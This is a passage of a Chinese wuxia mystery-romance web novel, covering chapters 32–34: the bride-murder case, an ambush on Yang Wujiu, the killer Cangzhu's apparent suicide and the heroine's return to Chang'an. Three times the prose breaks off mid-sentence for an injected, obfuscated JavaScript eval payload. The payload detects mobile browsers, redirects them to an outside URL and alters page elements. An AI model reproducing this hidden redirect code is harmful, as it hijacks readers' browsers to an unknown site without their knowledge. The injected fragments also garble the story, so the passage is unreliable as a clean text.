东方凌云幽幽猜道:“所以,现在的王不留行,是你的二师兄苍术?” “我不知道,但很有可能。”沈半夏轻声叹息,她的神色哀戚悲悯。 “沈小姐,你可知苍术现在何处?” “他就在成都!”沈半夏斩钉截铁。 “再具体一点呢?” “我不知道。” 东方凌云也不为难她,又换了个问题,继续问道:“那你知道,苍术的杀人名单,是根据你云罗坊门口的招幌来的吗?” 柳眉妩恍然大悟。那日从将军府回御史府,途经云罗坊,远远见到门口挂着一面四方招幌,喜庆的红,华丽的金,略显眼熟的簪花小楷。 正是沈半夏亲手写的—— 六月初八,御史府何许囍。 沈半夏默了默,半晌才道:“我原先也不知道,但后来发现了端倪,便留了心眼。今日表小姐大婚,我一直在暗中关注,所以才会在南山林被你们发现了行踪。” “那你知道,苍术为何执意要杀害新娘吗?” “因为他要养刀。” “养刀?” “不错,养刀。我查过古籍,书上说天山阴金铸的兵器,至阴至柔,需以至阴至柔的法子养着。通俗来讲,就是要有女子血来养。而女子血中,处子最佳,女童次之,少妇再次,老妪最下。 “我想,二师兄之所以要杀新娘,便是因为鬼见愁需要处子血来养刀。处子血是上品血,鬼见愁若饮了上品血便会听话,任凭主人差遣。但若是饮了下等血则会失控,反噬主人,甚至让主人走火入魔。 “毕竟当初,大师兄就是因为不懂养刀,所以才会走火入魔。”沈半夏幽幽道。似叹非叹,似笑非笑。 东方凌云奇怪道:“可苍术又是如何知道这些的?” “因为他不仅偷走了鬼见愁,还偷走了我的笔记。” 32. 遇匪 于是,一直以来让众人摸不着头脑的新娘枯尸案,在沈半夏讲述了前因后果之后,变得清晰明朗起来。 他们知道了,白术已死,如今的王不留行极大可能是苍术。他们也知道了,为何苍术要杀害新娘,因为他需要处子血养刀。 如此这般,案情一目了然,然而今日之机尽失矣。他们打草惊蛇,苍术侥幸逃脱,便不会再轻举妄动,那他们又要如何才能再次引蛇出洞么? 正思来想去不得明白,直到翌日,忽见一名衙役走了进来,向杨无名禀报道:“二公子,将军府来人,说大公子行商途中遇流匪劫财,不敌受伤,刚刚被抬回了府。” 杨无名当即向东方凌云请示,便往家赶去。柳眉妩和竹悠然对视一眼,吩咐备车,紧随其后也要去将军府。到了勉院,大夫郎中一个个地进去又出来,她和竹悠然左右扶着钟夫人,一面张望,一面安慰。 “姨母不必太担心,大表哥吉人自有天相,肯定会没事的。” “夫人还是先吃点东西吧,别到时候大公子醒了,你又倒下了。” “咎儿经此无妄之灾,我哪里还有胃口吃东西。”钟夫人心急如焚,双手合十,口念阿弥陀佛,“菩萨保佑,保佑我的咎儿平安无事,快快醒来。” 柳眉妩口中宽慰,心里也有些隐隐担忧。饶是只远远瞧上一眼,不曾细看,也觉得杨无咎伤势触目惊心,额上,面上,血肉模糊。身上,金黄的锦袍染了色,一大片的黑红血污。 再听同行小厮的禀告,知道他们是在葫芦岭遇上流匪。那匪徒先是劫了财,后来又想害命,人多又有刀剑,他们打不过,杨无咎便在混乱中滚落山崖。好在命大,摔下山崖也只是昏了过去,这才被他们的人找到,一路抬回了将军府。 钟夫人听得心惊肉跳,眼泪又落了下来,哭个不停。等薛大夫半个时辰后出来禀告伤情时,钟夫人的一双眼已是哭得通红。 “大公子已无大碍,只是现在还在昏睡,待醒过来夫人便能进去看他了。只是千万切记,让他多多静养,不宜操劳。” “多谢薛大夫。我儿伤势如何?” “大公子伤势惨重,除了脸上,还有肩上、臂上、腰上、腿上多处受伤。踢伤,剑伤,摔伤,擦伤,还有好几处骨折。”薛大夫神色凝重,摇了摇头,又叹了口气道,“尤其是腰上那一处剑伤,若再偏个半分,或再深个半寸,便是神仙也无能为力了。” 钟夫人听得几欲晕厥,好在柳眉妩和竹悠然左右扶着才没倒下去。她撑着笑脸,向薛大夫道了谢,让玲珑姑姑送了人出去,就见杨无名疾步进了院。 “娘,大哥怎么样了?”他来得匆忙,气喘不定。 柳眉妩从玲珑姑姑口中得知,杨无名匆忙回府,来不及见重伤昏迷的杨无咎一眼,就被杨将军唤去书房议事,故而现在才赶过来。 “没有大碍了。” “我去看看大哥。” “慢着,咎儿还没醒,等他醒了你再去看他。” 杨无名就站着没动了。他看看柳眉妩,又看看竹悠然,两人面上不见喜色,他便猜到大哥伤势不容乐观。于是应了声好,抿紧了唇,没再说话。 柳眉妩好说歹说,想劝钟夫人吃点东西,钟夫人却说没有胃口,只想回房歇会儿,她便又扶着钟夫人回从心院休息。 “从心院是姐姐从前的院子,我自问对咎儿视如己出,甚至有时候比对名儿还好。可如今,咎儿遭此难事,我要怎么向姐姐交代呢?” “儿孙自有儿孙福,亦有儿孙祸。姨母,许是大表哥命里有此一劫,怪不得你。再者,祸兮福所倚,说不定大表哥的福气在后面呢。” 给钟夫人掖好被角,柳眉妩要退出去,忽然被她叫住:“娇儿,你和咎儿相处这么久了,觉得咎儿怎么样?” 柳眉妩想了想,认真回道:“大表哥人很好。” “还有呢?” “大表哥待我也很好,就像亲哥哥一样。” “我知道了。”钟夫人叹气,随即向她摆了摆手,“娇儿,你先出去吧,我静一会儿。” “是。” 房门被柳眉妩轻轻带上,钟夫人躺在床上出神。玲珑姑姑在旁为她打扇,口中叹道:“表小姐年纪小,不解男女之事也是常理,夫人再撮合撮合便好。” 钟夫人回过神来,伸出了手,“手心手背都是肉,咎儿是姐姐的骨血没错,可娇儿也是檀儿的孩子。我自然喜欢咎儿,却也一样怜爱娇儿。 “说到底,他们的婚事因我们而起,指腹为婚,人云亦云,何其容易!但婚姻大事毕竟不是儿戏,若非两情相悦,即便强行结合,未必就是好事。 “若再极端些,相见两厌,日久生憎,等他们兄妹二人成了怨偶,百年之后,我到了下面,不仅没脸见姐姐,更没脸见檀儿。” 她轻轻叹了口气,几不可闻。强扭的瓜到底不甜,婚姻大事也应是结亲,而非结仇。 罢罢罢。 * 柳眉妩留在将军府,一边和竹悠然说话解闷,一边等杨无咎醒来。谁知,这一等就等到了月上枝头,才等来小厮报喜。 柳眉妩挽着竹悠然,玲珑姑姑扶着钟夫人,杨无名跟着小厮,很快几人便从四面八方赶到了杨无咎的勉院。 杨无咎才喝了药,即便是刚刚睡醒,整个人也十分憔悴,面上几乎没有血色。他刚想起身向钟夫人请安,被钟夫人伸手按住了,他便靠坐在床头向几人问好。 钟夫人搂着他哭,心肝儿宝贝直叫,他神色冷静如常,甚至还反过来安慰钟夫人,钟夫人便哭得更伤心了。 门外响起一声通传,杨将军缓步走了进来,看着床上抱头痛哭的娘儿俩,面无表情地开口道:“醒了。” “爹。”杨无咎向他请安,又歉声请罪道,“是我没用,货物和书契都被匪徒抢走了。” 钟夫人瞬时瞪大了眼:“咎儿,你在胡说什么!钱财都是身外之物,什么货物,什么书契,难不成比你的性命还要重要?” 杨将军也点头道:“你二娘说的是,此事你也不必太自责,千金散尽还复来。你伤得重,这几日还是安心养伤,当然,生意上的事也不要疏忽。许多事不能亲力亲为,就叫几个信得过的亲信去帮你做。” “爹,我可以帮大哥分担。”杨无名毛遂自荐。 “你哪里会做生意?名儿,不要添乱。”杨将军想也没想,直截了当地拒绝。 “我可以学。” “学什么学?你在家安心等着便是,什么时候圣旨到了,什么时候就回京复职。” “是。”杨无名只好听命。 一家人又絮絮说了会话,见天色不早了,便让杨无咎先休息。柳眉妩跟着众人要离开,突然被杨无咎出声叫住了。 “娇娇儿。” 她转身回望,只见他靠在床头,面色苍白,形容憔悴,和新换的素净白衣不相上下,却还是对她温柔笑着。 “大表哥,怎么了?”她便也笑着问他。 他却蓦地垂下眼,遮住眼底的晦暗神色,再抬眼时,笑意疏朗,“没什么。我没事了,你不用担心。” 床前的同行小厮想说什么,被杨无咎一个眼神制止,他便垂手立在一边,没再说话,心中似有不甘。 柳眉妩若无其事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268987|182217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地继续笑着,“那大表哥早些休息,晚安。” “娇娇儿,晚安。”杨无咎目送柳眉妩出了门,又出了院,转过回廊就看不到了。 床前小厮不解地问:“大公子,你明明对叶小姐那么上心,亲自跑了好几家珠玉铺子,又花高价买了金钗,方才为什么不送给叶小姐?” 杨无咎将左手从被窝下拿出来,因为握得用力,骨节微微泛白。摊开手,手中赫然是两股断裂的金钗。成色鲜艳,做工精良,断口处参差不齐,但一眼便知不是凡品。 “你也说我买的是金钗,如今却断成了两股,你让我怎么送给娇娇儿?” “可这也是你对叶小姐的一番心意呀!叶小姐若是知道实情,肯定能理解你的。当时你要不是为了护着这金钗,就不会被匪徒逼落山崖,伤成这样了。” “这一切都是我心甘情愿,和娇娇儿无关。” “小的知道和叶小姐无关,但是……” “你多嘴了,来福。”杨无咎打断他的话,转移话题,“我养伤的这段日子,生意上的事就多麻烦你和贵叔了。好了,时候不早了,我要休息了。” * 柳眉妩上车许久,马车迟迟未动。 她掀开车帘正要查看,忽听一道耳熟声音响起,“叶小姐,许多话大公子不说,但来福觉得你应该知情。大公子本不至于伤得这么严重,是为了护着给你买的金钗,所以才摔下的悬崖。” 柳眉妩放下车帘,正襟危坐,语气淡淡道:“这话我没有听过。” “那是因为大公子怕你担心,所以没有说。” 默了默,柳眉妩又问:“所以那日,你也在场吗?” “自然。” “那你还记得,那些流匪都是什么模样吗?” 来福回忆道:“模样看不真切。但他们黑衣黑面,有刀有剑,看起来训练有素,不像是寻常流匪。” “我知道了。” 半刻钟后,车夫急急跑来,连声解释道:“小姐恕罪,方才肚子实在不舒服,就离开方便了一小会。我们现在回去吗?” “回去吧。”柳眉妩揉揉眉心,忙了大半天,属实有些心力不济。 “娇娇儿,我帮你按按。”宝儿从她膝上起身,熟练帮她按着太阳穴,担忧地问,“很累吗?晚膳可记得用过了?” 柳眉妩鼻音模糊地应话,又道:“我还没问你,什么时候来的?” “才进来,你就上车了。” 柳眉妩好笑道:“我该说你偷偷摸摸,还是光明正大呢?下次再这样,早晚要被他们当成登徒子打出去。” “娇娇儿舍得吗?”宝儿眨着眼,嘻嘻朝她笑。 柳眉妩揉揉他的头发,不答反问:“来福的话,你怎么看?” “共有三疑。朝廷管制刀具严苛,若是流匪,多用朴刀杆棒,怎会有剑?此为一疑;杨无咎行商,镖局马队护身左右,其余人不过轻微擦伤,他却伤势惨重,不像流匪劫财,更像仇家索命,此为二疑;有此二疑,此为三疑。” 柳眉妩哼笑出声,“宝儿,哪有你这么算数的?朱夫子知道,迟早要被你气死!” 宝儿也笑,“娇娇儿,你就说,我说的有没有道理吧。” 柳眉妩沉思半晌,“可是,若不是流匪劫财,杨将军退隐蜀郡多年,大表哥也常年从商,哪里会有什么索命的仇家?” “那我就不知道了。”宝儿语气淡淡,“我只知道,方才来福的意思,应该就是杨无咎的意思。” 柳眉妩揉乱他的头发,好笑道:“我不知道这些弯弯绕绕。他没当面与我说,我就当做不知道。” 33. 焰火 回去御史府,柳眉妩说了杨无咎遇匪的事,大伙儿七嘴八舌地讨论一通,依旧没有定论。东方凌云拨出小六小八追查流匪,其余人继续搜查苍术。 结果,流匪的事没有后续,苍术的事也没有后续,杨无咎的伤却日渐好了。只是他忙于生意,整日神龙见首不见尾,柳眉妩便常常往御史府跑。 七月十五这日,一大早,御史府外的路鼓被人敲得震天响,升了堂,竟是沈半夏。一段时日不见,她面容憔悴,身形消减,发量似乎也单薄了不少。 “沈小姐,今日击鼓报官,所为何事?” 沈半夏脸色惨白,身子止不住地颤,她嗫嚅半晌,一字一句地回:“二师兄来找我了,他想杀我!” 东方凌云惊讶道:“你见到苍术了?” “没有。”沈半夏摇头,娓娓道来,“事情是这样的……上次堂审后,每隔几天,我就会在妆镜台前发现一绺头发。那头发被剪子齐齐铰断,我仔细检查过,就是我的头发。 “我问了所有轮班守夜的丫鬟,她们一口咬定没有人进出我的房间。只有物证,没有人证,我也只能纳闷。如果不是别人的恶作剧,难不成是我自己半夜起来铰了头发,又整整齐齐摆在妆镜台上,装神弄鬼吗? “查来查去查不到,之后又消停了一阵子,无事发生,我也就没放在心上。本以为此事已经翻篇,没想到,今天早上,我在妆镜台前又发现了一封血信……肯定是二师兄!他知道我向你们供出了他,便怀恨在心,想杀我灭口!” 东方凌云展开信纸,不过半尺见方,无字无墨,只有一团凌乱血迹,却咸腥酸臭,着实令人不适。叫来十三检验,确定说是人血,几人又觉得一阵反胃。 十二拿了信纸,去街上的文房四宝铺子问。结果发现,那纸是蜀地最普通最常见的小灰纸,不知凡几,根本就不足为证。 这是威胁,也是恐吓,然而他们没有线索,不能将苍术立刻绳之以法。 沈半夏浑身发抖,呜呜咽咽道:“而且,我的贴身丫鬟尔香,今天一早突然不见了踪影。我哪里都找了,可哪里都找不到。肯定是二师兄!是二师兄报复我,于是掳走了尔香!那下一个,肯定就是我了! “白大人,该说的不该说的,我都向你们说了。请你们一定一定要保护我的安全!一定一定要帮我找到尔香的尸体!” 东方凌云道:“这是自然,本官已有对策。沈小姐,你放心便是。” 然而,不怕一万,就怕万一。为安全起见,东方凌云当即让小六整理出一间客房,方便沈半夏暂住御史府。其余人则在阿大的带领下,在沈半夏的房前屋后部署,天网恢恢,只等苍术自投罗网。 只是,一天又一天过去了,苍术始终没有出现,他们却收到了意料之外的消息。 “娇娇儿,长安来信,姨父失踪的三卷手札,找到了。”东方凌云找到柳眉妩,神色凝重。 “在哪里?” 东方凌云不答反问:“娇娇儿,还记得姨父身上的那张棋谱吗?” “自然记得。”柳眉妩点点头,顿了顿,又道,“不过我一直不明白,明明爹爹不怎么下围棋,为何会收一张围棋棋谱,还是用娘亲送的帕子仔细包着。” “当时老二就觉得棋谱有问题,于是找我拿了去解谜,解了六个月,还真解出了一个地址。她又让小十和十一特地跑了一趟,竟真在那里找到了你说的三卷巡察手札,这才写信告知。” 柳眉妩听完,只觉得头皮发麻,气息上涌,浑身血液好似都沸腾了,急急问道:“二哥哥,在哪里!” 这一次,东方凌云没有故弄玄虚,也不再顾左右而言他,而是一字一句地向她说道。 “零陵郡,永明县。” * 当天夜里,梳洗之后,柳眉妩和何清如同床夜话,商量归期。夜深人静,正是昏昏欲睡的时候,忽然听到小八一边敲门一边喊道:“大公主,四公主,苍术抓到了!” 两人连忙起来,穿好衣裳,原以为是去公堂听审,结果小八带着她们径直去了殓房,“苍术自投罗网,被我们抓住,自知走投无路,便服毒自尽了。” 说话的空当,三人行到殓房门口,其余人已早早到了。 这是柳眉妩第一次见到苍术,却总觉得似曾相识。可是分明,她和他从没见过才对。那日婚房,她躲在屏风后,因中了软筋迷魂散,意识恍惚,虽远远瞧见一个黑影,却不曾见过苍术的真面目。 那似曾相识的熟悉感从何而来? 柳眉妩百思不得其解。 她慢步走近,仔细打量着苍术,黑衣黑面,却不显单调,反而有几分精致的华贵。黑衣是玄丝软甲,藏了金,在摇曳的烛火中闪出五彩斑斓的色泽。黑面是玄铁锻制的纵目獠牙面具,眉心处一抹红,像一团灼灼燃烧的焰火。 柳眉妩一见到那团焰火,便皱起了眉。说不上来,但她就是本能觉得不舒服。 很不舒服。 沈半夏上前,取下他的玄铁面具,只看一眼,便扭过了头,神色戚戚然,笃定道:“是二师兄。” 众人长出一口气,不知是舒气,还是叹气,又或者兼而有之。 柳眉妩却忽然想到什么,使眼色让十三扒开苍术的软甲,眉头紧锁。 何清如问:“娇娇儿,怎么了?” “很奇怪。” “哪里奇怪?” “苍术身上确实有伤,他肩上被踢伤,臂上被刺伤。踢伤我看不出端倪,但是,他臂上这处剑伤却很奇怪。” 柳眉妩指着他的伤口,又拿出十二的长剑比对,“那日,他是被十二刺伤。十二的剑身细长,伤口便应该深而窄才对,可你们看他的伤口,却是浅而宽。” 十二附和道:“不错,我有印象。当时八姐踢中他左肩,我便趁机刺在他左臂上,收剑的时候擦了不少血,想来伤口必定不浅。” 柳眉妩神色一顿,“等等,十二,你确定伤口是在左边吗?” “我不确定,但确定是和八姐同边。” 十二看着小八,小八看着柳眉妩,笃定回道:“我确定。当时王不留行左手持刀,我踢中他左肩,本想去刀,结果他只是略一趔趄,又继续逼近。最后还是十二妹伤了他左臂,他自知不敌,这才跳窗逃走的。” “可是,苍术的伤口分明是在右边……”柳眉妩喃喃说完,示意十三掰开苍术掌心,左手平滑,右手生茧,怎么看都不像是左撇子。 宝儿知她疑惑,转头问沈半夏道:“苍术是使左手刀还是右手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268988|182217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刀?” 沈半夏道:“神剑山庄没有人使左手刀。” 柳眉妩听完,不禁怀疑起来:面前这人,真是那日大闹婚房的人吗?若是,为何伤口大不相同?可若不是,这人是苍术,那那人又是谁? 沈半夏继续说话,幽幽问道:“鬼见愁呢?” “我们抓到苍术的时候,没看到鬼见愁。”阿大神色凝重,摇头回道。 又是这样,身无长物,孤身赴死,和五年前的白术一模一样。柳眉妩来回踱着步,这让她不得不怀疑,王不留行是否还有后手,又是否后继有人。 如果有……会是那人吗? 十三看出她的心事,当即就要出去,“我去找师父,让他来验尸。” 沈半夏却道:“夜半三更,就算真要验尸,也不急在一时。不管怎么说,我和二师兄同门一场,所有恩怨情仇,生不带来死不带去,我都不怪他了。如果可以的话,今夜就让我留在这里,为二师兄守灵吧。” 于情于理,东方凌云都不好拒绝,沉默半晌,留下小七和小九值守,便答应了沈半夏的请求。等众人各自回房歇息,已是三更漏尽。 睡下不到半个时辰,柳眉妩又被院里走水救火的声音吵醒,才知殓房无故失火,苍术和沈半夏都被烧成了灰。 她的眼前仿佛有什么一闪而过,她没抓住,困意来袭,很快又沉沉睡了过去。 恍惚间,她又回到了二月初十日,被死士追杀,被万箭穿心。死之前,她伏在林中,睁眼看天边残阳如血如火,像身下汩汩流出的血…… 等等,那火呢? 分明,南山林中不曾起火,那她为何会看到火? 她在黑暗里睁开了眼,惊出了一身汗。 她忽然想起来了。 她全都想起来了。 那火,便是那群黑衣死士眉心处的焰火图腾,也是今日苍术面具上的焰火图腾,殷红如血,灼灼刺目,似成燎原之势。 ——他们是一伙的! 可是现在,黑衣死士不知所踪,苍术也已服毒自尽,烧成了一捧灰,线索便又断了。柳眉妩闭上眼,翻了个身,在无边夜色里轻轻叹了口气。 恍惚间,有人走到她床前,叹息浅浅,像天明前燃尽的最后一滴蜡。她揉揉眼,坐起身,看到爹爹。白面无须,眉目和蔼,噙着笑,唤她“娇娇儿”。 柳眉妩大声叫着何清如,语气急促:“大姐姐!快醒醒!是爹爹!爹爹来了!” 可惜无声应答。 炉里的烟不理她,清冷的月不理她,院里的竹叶柳枝不理她,就连穿堂而过的婆娑凉风也不理她。 “娇娇儿,爹爹要走了。”爹爹还是笑,柳眉妩却毛骨悚然,只觉那笑实在瘆人。像石蜡,又像灰烬,没有一点生气。 她连连摇头,想伸手,手却有千斤重,根本举不起来,于是哭喊道:“不要走!爹爹不要走!” 爹爹却还是笑着走远了。 她的腿如灌铅水,动弹不得,只能眼睁睁看着爹爹渐行渐远,渐渐消失。像天上飘的云烟,风一吹,就散了,不知所踪。 远方传来歌谣,空灵不辨方位,又像是谁贴在耳边慢声吟唱。 “公无渡河,公竟渡河!渡河而死,当奈公何!” 34. 回京 日入之后,天色渐暗。西风吹古道,两边枝叶婆娑乱舞,头顶偶有断雁飞过,留下几声撕心裂肺的鸣叫,断断续续,将宁静的山林划开豁然口子。 余晖下,一行车马正在林间赶路。车是金辂车,马是五花马,车前四马齐驱,健步如飞,马上众人危坐,气宇轩昂。 “驭——” 正前方的白衣男子忽然勒紧缰绳,环顾四野,眉宇间凝起一丝警觉。 小九奇怪地问:“二公子,怎么了?” “太安静了。” 阿大眉头紧锁,沉声道:“九儿,你真是承平日久,安逸得什么警惕都没了。你难道没发现,我们一路行来,山林里什么鸟兽都没有吗?” “我们车马华贵,仪仗张扬,寻常鸟兽哪里见过这场面,吓得躲起来了呗。”小九不以为意。 “不错,是躲起来了。”杨无名颔首,音色缓缓,“却不是因为我们。” 万物有灵,鸟兽先知。当一片山林死寂无声,恰说明此地并不安全,不可久留。毕竟,只有危机四伏,才会鸟兽四散。 杨无名眸色一凝,扬声喝道:“全体戒备。” 话音未落,疾风破空。无数飞箭流矢从四面八方射来,密如飞蝗,遮天蔽云。众人急忙拔剑提刀,亮针扬枪,有条不紊地躲避格挡。他们身手矫健,树上的箭矢很快放完了,埋伏在树上的不速之客纷纷跳了下来。 短兵相接,刀光剑影。饶是杨无名等人身手不凡,个个以一当十,也禁不住对方人多,缠斗持续了半炷香方才止息。天色式微,那些人见状不对,想要逃走,却被十三的无影针逼得逃无可逃。 “你们是什么人?受谁指使,为何屡次三番行刺我们?”杨无名手挽剑花,收回长风,冷眼睨向团团围困的黑衣刺客,凛声问道。 为首的刺客定定看他,忽然呵笑出声:“杨无名,你确实很强,今日我杀不了你,可你也留不下我。不过,很快了。你我生来便是宿世劲敌,不可两立,很快你就会成为我的手下败将、刀下亡魂。” “刀?”杨无名瞥过他手里那柄造型奇诡、煞气森然的金刀,心头一震,“是鬼见愁!你是王不留行!你没有死!” 王不留行不再回他,仰天哈哈笑起来。他的脚下猛地腾起一股白烟,眨眼的功夫,杨无名便什么也看不清了。一行人紧急戒备,可等白烟散去,却只看见一地尸首。 十三验毕,垂手立在朱轮华盖的金辂车外,恭恭敬敬地禀道:“爷,王不留行逃了,其余刺客又是服毒自尽。” 两扇阳金车门无声滑开,东方凌云一跃而下。他步履闲散地检视车身,这次除了车壁,还有车顶遭殃,几处划痕又长又深,将车身的祥云纹理都磨花了。他踱步又去看刺客,黑衣黑面,焰火图腾,和王不留行的装扮如出一辙。 小七小九将尸身搜检完毕,上前复命:“爷,和之前一样,没有异常。黑衣是寻常铁甲,内里无标记;面具除了眉间焰火图腾,其下无易容;横刀是普通制式,没有作坊印记;舌下藏的蜡封毒丸,也还是鹤顶红……” “没有异常,才是最大的异常。老规矩,丢到深林里烧了吧,别吓到娇娇儿她们。“东方凌云语气淡淡,说完拂袖转身,跃步又上了车,对同车的叶茂温声道,“叶老受惊了。” “茂草莽一生,大风大浪见得多,倒是无所谓。我只是担心娇儿,不知她们在后面一路平安否?”叶茂忧色难掩。 中秋之后,他们分批回京。一路行来,九天八夜,两次被下药,三次被埋伏,四次被刺杀,真可谓步步惊心。 “叶老宽心,有小六小八尽心护着,宗世子和竹姑娘也会武功,娇娇儿肯定会没事的。你要实在放心不下,前面就是客栈,我们先进去落脚休息,再派人回去接她们。” “如此甚好,王爷有心了。”叶茂喟叹出声。 “应该的。” 他们在这里忧之愁之,哪里知道此时的柳眉妩正和何清如、竹悠然、宝儿等人席地而坐,一面焚香煮茶,一面打叶子戏呢。 一路行来,她们悠然自得,看山看水,秋游一般,好不快活。除了,偶尔会在官道或小路上发现打斗的痕迹。可即便断箭残矢满地都是,却一直不曾亲自遇到。 故而,她们原先只比东方凌云一行晚出发几个时辰,可等到被阿大十三接去水云间会合时,却整整慢了五天的脚程。 两拨人马见了面,请安问好,互诉衷肠。自知道东方凌云一路频遭刺杀,柳眉妩神色担忧,尚有余悸,“刺客宵小,怎么就缠上二哥哥了呢?” 杨无名摇头道:“他们不是刺客,而是死士。死士唯命是从,前仆后继,所以络绎不绝,无穷无尽。而一旦失手,他们又服毒自尽,我们根本无从拷问。” “既是死士,便存死志,自不会被你们生擒。无从拷问便算了,可有仔细搜检尸首,或许会有自证身份的信物呢?”宝儿问道。 小七摇头道:“回宗世子,我和九儿每次都仔细搜检了,但每次都一无所获。他们太谨慎了,有组织有纪律,行动毫无纰漏,一时半会儿的,我们实在难以找到破绽。” 小九也补充道:“目前只能确定,这群死士和王不留行有关系。或者说,王不留行也是死士的一员,是死士中的佼佼者。除此之外,他们无名无姓,无令无牌,无印无记,实在是无从查起。” 柳眉妩心念微动,想起一事,转头问杨无名:“二表哥,你和王不留行有旧怨么?他既视你为宿世劲敌,怕是积恨不浅。” 杨无名沉思半晌,语气笃定,摇头道:“我的印象里,没有。” 柳眉妩便更疑惑了。 时候不早了,大家闲话一阵,说不出个子丑寅卯,道了晚安,各自回房休息。水云间离长安不过十余里,第二天,众人上车上马,进了城,不及卯末。 早市刚刚开张,柳眉妩临街闻到熟悉的香味,馋得食指大动,忍不住跳下车去买饆饠。她喜甜又喜咸,当即把老板蒸好的五屉樱桃蟹黄饆饠全要了,小八帮忙提着,逐车分享。 饆饠卷状粗大,滋味鲜美,柳眉妩吃得惬意,慢悠悠踱回马车,忽然被一个举着神算子招幌的人拦住,“这位小姐,我见你印堂发黑,恐有大祸。” 柳眉妩步履不停。 “当然,破解之法也不是没有。小姐切记,及笄之前万勿远游,长留府宅可避万难。否则,将有血光之灾,性命之忧啊。” 柳眉妩不以为然,踩着脚凳就要上车。何清如忽然掀开车帘探出头来,急急喊道:“大师,还请明示。” 神算子摇头晃脑,装模作样掐指算了半晌,慢吞吞道:“六七以上,三五未满……西方相对,北面所向……去日无多,不可说不可说……” 柳眉妩嗤一声,径直上了马车。 她不上心,自有人上心。何清如还要再问,神算子却怎么也不肯说了,故弄玄虚般,反复念着天机不可泄露。 “大姐姐,神棍都词穷了,你就不要一直为难人家嘛。”柳眉妩语气温软,嘴里却不饶人,说完又重重咬一口樱桃饆饠,憨态可掬。 何清如好笑地摸摸她脑袋,知道再问也是枉然,便让小八递出一叠银票,说是功德费。神算子笑得见牙不见眼,乐呵呵收了,又在广袖里掏啊掏,掏啊掏,掏了半天,掏出个皱巴巴的平安福,递给何清如后飘然而去。 * 长安城中坊市分明,井然有序。北坊民居,南坊官邸,东西两市则是市集,一市坐贾,一市行商。 出了西市,几人分道而行。东方凌云、叶茂和杨无名从青龙门进宫面圣,何清如带柳眉妩回太平相府,宝儿自回乐善侯府,其余人则去东市客栈落脚,暂作休息。 马车悠悠,刚转入朱雀街,远远便瞧见如意姑姑领了十来个丫鬟小厮,垂手恭立候在阶下。车驾停稳,她即刻迎了上来,显然早已等候多时了。 十三掀开车帘,小八扶下两人。如意姑姑定定打量了柳眉妩好一阵,才笑吟吟开口:“大公主,四公主,你们总算回来了。夫人日日念叨,一早便让我们在此迎候着。” 何清如问:“娘亲可醒了?” “早醒了。夫人昨夜里就一直念叨你们,几乎没有闭眼,丑时朦胧睡着,不到两个时辰又醒了,索性就起身了。这会子,在佛堂为两位公主祈福呢,脱不开身,便让我们来迎候。” 柳眉妩神色动容,颔首道:“有劳如意姑姑,我们这就去佛堂给娘亲请安。” 如意姑姑笑着领路。 几人行了小半刻钟,停在佛堂门口。清心香笼着晨间雾,氤氲缭绕,依稀可辨蒲团上跪了个身影。 两人齐声唤道:“娘亲。” 何云深拨念珠的动作一顿,蓦地睁眼,缓缓转头。门外朝阳万丈,为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268989|182217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来人披了层淡淡的金,逆光行来,似真似幻,似梦似醒。 如意姑姑将她扶起,笑道:“夫人,大公主和四公主回来了。” 何云深如梦初醒般,伸手揽过两人,声音带着颤抖:“许许,娇娇儿,是你们吗?” “是我,娘亲。”柳眉妩吸着鼻子,喉间哽咽,面上全是泪痕。 “娇娇儿,让娘亲好好看看我儿。”何云深又哭又笑,颤抖着捧起柳眉妩的脸,仔仔细细地看。 叶灵儿和柳眉妩容貌无半点相似。 柳眉妩五官小巧精致,眉心一点朱红,又添几分妩媚之态。然而平日胡服骑射,舞刀弄剑,久而久之,气质便也舒朗飒爽起来。 叶灵儿高鼻深目,比之更立体更生动,却不显张扬,只让人觉得温婉娴静。加之周身又带病气,更显出几分柔弱怯懦的模样。定定看人时,秋水盈盈,梨花带雨,真真儿是我见犹怜。 一瞬间,何云深的泪就落了下来。 皮囊不是娇娇儿,骨血不是娇娇儿,可透过那双盈盈含泪的眼,眼前站着的分明就是她的娇娇儿。温婉又舒朗的娇娇儿,娴静又飒爽的娇娇儿,柔弱又坚强的娇娇儿。 是……她的娇娇儿。 “我的儿,受苦了!”何云深将柳眉妩紧紧搂进怀里,仿佛要将她揉入自己的骨血,又仿佛要穿过皮囊拥抱她的灵魂,“回来了就好,我的娇娇儿,回来了就好……” “夫人这是做什么,四公主回来,我们不应该高高兴兴的吗?”话虽如此,如意姑姑说时亦带着哭腔。 